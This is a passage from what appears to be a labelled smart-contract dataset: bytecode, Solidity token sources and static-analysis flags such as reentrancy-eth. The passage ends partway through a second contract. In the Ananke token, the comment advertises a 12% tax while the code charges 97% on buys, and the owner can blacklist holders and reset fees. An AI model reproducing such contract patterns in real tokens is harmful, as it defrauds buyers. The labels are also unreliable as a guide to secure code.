766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61221e81611e7f565b811461222957600080fd5b50565b61223581611ebd565b811461224057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202d5ad68ee70045b8ed21fb4c5e98296d41777ef51d24e0936b8b1b495c11ca3764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}}
5,813
0x4bf2d598c4bae004bb963c5ef27226cd6bd6bec2
/** *Submitted for verification at Etherscan.io on 2022-04-07 */ /* Taxes are 12% buy and sell In ancient Greek religion Ananke, from the common noun ἀνάγκη is the personification of inevitability, compulsion and necessity. In order to Achieve your destiny you have to work together with your fellow people. And we all know what’s the destiny for this community. Mysteries will be along the path to destiny. The dev is 100% based and safe however they have no intention on revealing their identity. Liquidity is locked for 1 week and will be extended with every 50k Marketcap increment ἈνάγκηἈνάγκηἈνάγκηἈνάγκηἈνάγκηἈνάγκηἈνάγκηἈνάγκηἈνάγκηἈνάγκηἈνάγκηἈνάγκηἈνάγκηἈνάγκη OFFICIAL TELEGRAM - OPEN AT 50K OFFICIAL TWITTER - https://twitter.com/AnankeERC OFFICIAL WEBSITE - https://anankeerc.com/ * * * SPDX-License-Identifier: Unlicensed * */ pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Ananke is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Ananke"; string private constant _symbol = "Ananke"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 97; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x5a977afe5a8b82D28e7e92e0786E361B45aEe5F2); address payable private _marketingAddress = payable(0x5a977afe5a8b82D28e7e92e0786E361B45aEe5F2); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = true; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000 * 10**9; uint256 public _maxWalletSize = 20000 * 10**9; uint256 public _swapTokensAtAmount = 2000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610520578063dd62ed3e14610540578063ea1644d514610586578063f2fde38b146105a657600080fd5b8063a2a957bb1461049b578063a9059cbb146104bb578063bfd79284146104db578063c3c8cd801461050b57600080fd5b80638f70ccf7116100d15780638f70ccf7146104455780638f9a55c01461046557806395d89b41146101fe57806398a5c3151461047b57600080fd5b80637d1db4a5146103e45780637f2feddc146103fa5780638da5cb5b1461042757600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037a57806370a082311461038f578063715018a6146103af57806374010ece146103c457600080fd5b8063313ce567146102fe57806349bd5a5e1461031a5780636b9990531461033a5780636d8aa8f81461035a57600080fd5b80631694505e116101ab5780631694505e1461026c57806318160ddd146102a457806323b872dd146102c85780632fd689e3146102e857600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023c57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611928565b6105c6565b005b34801561020a57600080fd5b506040805180820182526006815265416e616e6b6560d01b6020820152905161023391906119ed565b60405180910390f35b34801561024857600080fd5b5061025c610257366004611a42565b610665565b6040519015158152602001610233565b34801561027857600080fd5b5060145461028c906001600160a01b031681565b6040516001600160a01b039091168152602001610233565b3480156102b057600080fd5b5066038d7ea4c680005b604051908152602001610233565b3480156102d457600080fd5b5061025c6102e3366004611a6e565b61067c565b3480156102f457600080fd5b506102ba60185481565b34801561030a57600080fd5b5060405160098152602001610233565b34801561032657600080fd5b5060155461028c906001600160a01b031681565b34801561034657600080fd5b506101fc610355366004611aaf565b6106e5565b34801561036657600080fd5b506101fc610375366004611adc565b610730565b34801561038657600080fd5b506101fc610778565b34801561039b57600080fd5b506102ba6103aa366004611aaf565b6107c3565b3480156103bb57600080fd5b506101fc6107e5565b3480156103d057600080fd5b506101fc6103df366004611af7565b610859565b3480156103f057600080fd5b506102ba60165481565b34801561040657600080fd5b506102ba610415366004611aaf565b60116020526000908152604090205481565b34801561043357600080fd5b506000546001600160a01b031661028c565b34801561045157600080fd5b506101fc610460366004611adc565b610888565b34801561047157600080fd5b506102ba60175481565b34801561048757600080fd5b506101fc610496366004611af7565b6108d0565b3480156104a757600080fd5b506101fc6104b6366004611b10565b6108ff565b3480156104c757600080fd5b5061025c6104d6366004611a42565b61093d565b3480156104e757600080fd5b5061025c6104f6366004611aaf565b60106020526000908152604090205460ff1681565b34801561051757600080fd5b506101fc61094a565b34801561052c57600080fd5b506101fc61053b366004611b42565b61099e565b34801561054c57600080fd5b506102ba61055b366004611bc6565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059257600080fd5b506101fc6105a1366004611af7565b610a3f565b3480156105b257600080fd5b506101fc6105c1366004611aaf565b610a6e565b6000546001600160a01b031633146105f95760405162461bcd60e51b81526004016105f090611bff565b60405180910390fd5b60005b81518110156106615760016010600084848151811061061d5761061d611c34565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065981611c60565b9150506105fc565b5050565b6000610672338484610b58565b5060015b92915050565b6000610689848484610c7c565b6106db84336106d685604051806060016040528060288152602001611d7a602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b8565b610b58565b5060019392505050565b6000546001600160a01b0316331461070f5760405162461bcd60e51b81526004016105f090611bff565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075a5760405162461bcd60e51b81526004016105f090611bff565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ad57506013546001600160a01b0316336001600160a01b0316145b6107b657600080fd5b476107c0816111f2565b50565b6001600160a01b0381166000908152600260205260408120546106769061122c565b6000546001600160a01b0316331461080f5760405162461bcd60e51b81526004016105f090611bff565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108835760405162461bcd60e51b81526004016105f090611bff565b601655565b6000546001600160a01b031633146108b25760405162461bcd60e51b81526004016105f090611bff565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fa5760405162461bcd60e51b81526004016105f090611bff565b601855565b6000546001600160a01b031633146109295760405162461bcd60e51b81526004016105f090611bff565b600893909355600a91909155600955600b55565b6000610672338484610c7c565b6012546001600160a01b0316336001600160a01b0316148061097f57506013546001600160a01b0316336001600160a01b0316145b61098857600080fd5b6000610993306107c3565b90506107c0816112b0565b6000546001600160a01b031633146109c85760405162461bcd60e51b81526004016105f090611bff565b60005b82811015610a395781600560008686858181106109ea576109ea611c34565b90506020020160208101906109ff9190611aaf565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3181611c60565b9150506109cb565b50505050565b6000546001600160a01b03163314610a695760405162461bcd60e51b81526004016105f090611bff565b601755565b6000546001600160a01b03163314610a985760405162461bcd60e51b81526004016105f090611bff565b6001600160a01b038116610afd5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f0565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bba5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f0565b6001600160a01b038216610c1b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f0565b6001600160a01b038216610d425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f0565b60008111610da45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f0565b6000546001600160a01b03848116911614801590610dd057506000546001600160a01b03838116911614155b156110b157601554600160a01b900460ff16610e69576000546001600160a01b03848116911614610e695760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f0565b601654811115610ebb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f0565b6001600160a01b03831660009081526010602052604090205460ff16158015610efd57506001600160a01b03821660009081526010602052604090205460ff16155b610f555760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f0565b6015546001600160a01b03838116911614610fda5760175481610f77846107c3565b610f819190611c7b565b10610fda5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f0565b6000610fe5306107c3565b601854601654919250821015908210610ffe5760165491505b8080156110155750601554600160a81b900460ff16155b801561102f57506015546001600160a01b03868116911614155b80156110445750601554600160b01b900460ff165b801561106957506001600160a01b03851660009081526005602052604090205460ff16155b801561108e57506001600160a01b03841660009081526005602052604090205460ff16155b156110ae5761109c826112b0565b4780156110ac576110ac476111f2565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f357506001600160a01b03831660009081526005602052604090205460ff165b8061112557506015546001600160a01b0385811691161480159061112557506015546001600160a01b03848116911614155b15611132575060006111ac565b6015546001600160a01b03858116911614801561115d57506014546001600160a01b03848116911614155b1561116f57600854600c55600954600d555b6015546001600160a01b03848116911614801561119a57506014546001600160a01b03858116911614155b156111ac57600a54600c55600b54600d555b610a3984848484611439565b600081848411156111dc5760405162461bcd60e51b81526004016105f091906119ed565b5060006111e98486611c93565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610661573d6000803e3d6000fd5b60006006548211156112935760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f0565b600061129d611467565b90506112a9838261148a565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112f8576112f8611c34565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134c57600080fd5b505afa158015611360573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113849190611caa565b8160018151811061139757611397611c34565b6001600160a01b0392831660209182029290920101526014546113bd9130911684610b58565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f6908590600090869030904290600401611cc7565b600060405180830381600087803b15801561141057600080fd5b505af1158015611424573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611446576114466114cc565b6114518484846114fa565b80610a3957610a39600e54600c55600f54600d55565b60008060006114746115f1565b9092509050611483828261148a565b9250505090565b60006112a983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061162f565b600c541580156114dc5750600d54155b156114e357565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150c8761165d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061153e90876116ba565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461156d90866116fc565b6001600160a01b03891660009081526002602052604090205561158f8161175b565b61159984836117a5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115de91815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061160b828261148a565b8210156116265750506006549266038d7ea4c6800092509050565b90939092509050565b600081836116505760405162461bcd60e51b81526004016105f091906119ed565b5060006111e98486611d38565b600080600080600080600080600061167a8a600c54600d546117c9565b925092509250600061168a611467565b9050600080600061169d8e87878761181e565b919e509c509a509598509396509194505050505091939550919395565b60006112a983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b8565b6000806117098385611c7b565b9050838110156112a95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f0565b6000611765611467565b90506000611773838361186e565b3060009081526002602052604090205490915061179090826116fc565b30600090815260026020526040902055505050565b6006546117b290836116ba565b6006556007546117c290826116fc565b6007555050565b60008080806117e360646117dd898961186e565b9061148a565b905060006117f660646117dd8a8961186e565b9050600061180e826118088b866116ba565b906116ba565b9992985090965090945050505050565b600080808061182d888661186e565b9050600061183b888761186e565b90506000611849888861186e565b9050600061185b8261180886866116ba565b939b939a50919850919650505050505050565b60008261187d57506000610676565b60006118898385611d5a565b9050826118968583611d38565b146112a95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f0565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c057600080fd5b803561192381611903565b919050565b6000602080838503121561193b57600080fd5b823567ffffffffffffffff8082111561195357600080fd5b818501915085601f83011261196757600080fd5b813581811115611979576119796118ed565b8060051b604051601f19603f8301168101818110858211171561199e5761199e6118ed565b6040529182528482019250838101850191888311156119bc57600080fd5b938501935b828510156119e1576119d285611918565b845293850193928501926119c1565b98975050505050505050565b600060208083528351808285015260005b81811015611a1a578581018301518582016040015282016119fe565b81811115611a2c576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5557600080fd5b8235611a6081611903565b946020939093013593505050565b600080600060608486031215611a8357600080fd5b8335611a8e81611903565b92506020840135611a9e81611903565b929592945050506040919091013590565b600060208284031215611ac157600080fd5b81356112a981611903565b8035801515811461192357600080fd5b600060208284031215611aee57600080fd5b6112a982611acc565b600060208284031215611b0957600080fd5b5035919050565b60008060008060808587031215611b2657600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5757600080fd5b833567ffffffffffffffff80821115611b6f57600080fd5b818601915086601f830112611b8357600080fd5b813581811115611b9257600080fd5b8760208260051b8501011115611ba757600080fd5b602092830195509350611bbd9186019050611acc565b90509250925092565b60008060408385031215611bd957600080fd5b8235611be481611903565b91506020830135611bf481611903565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7457611c74611c4a565b5060010190565b60008219821115611c8e57611c8e611c4a565b500190565b600082821015611ca557611ca5611c4a565b500390565b600060208284031215611cbc57600080fd5b81516112a981611903565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d175784516001600160a01b031683529383019391830191600101611cf2565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7457611d74611c4a565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122044c8baad1f9c8c684265eecfd9817a19c7f2cd24f2e4b13692f0447325f1685564736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
5,814
0x113b9e5143b421569494c4f543d253935ba05afb
/** *Submitted for verification at Etherscan.io on 2022-02-17 */ /* $PANEER https://www.paneercoin.com/ https://t.me/PaneerCoin 7% Marketing 3% Reflection Will be Locked and Renounced ! */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Paneer is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Paneer"; string private constant _symbol = "PANEER"; uint8 private constant _decimals = 9; //RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private 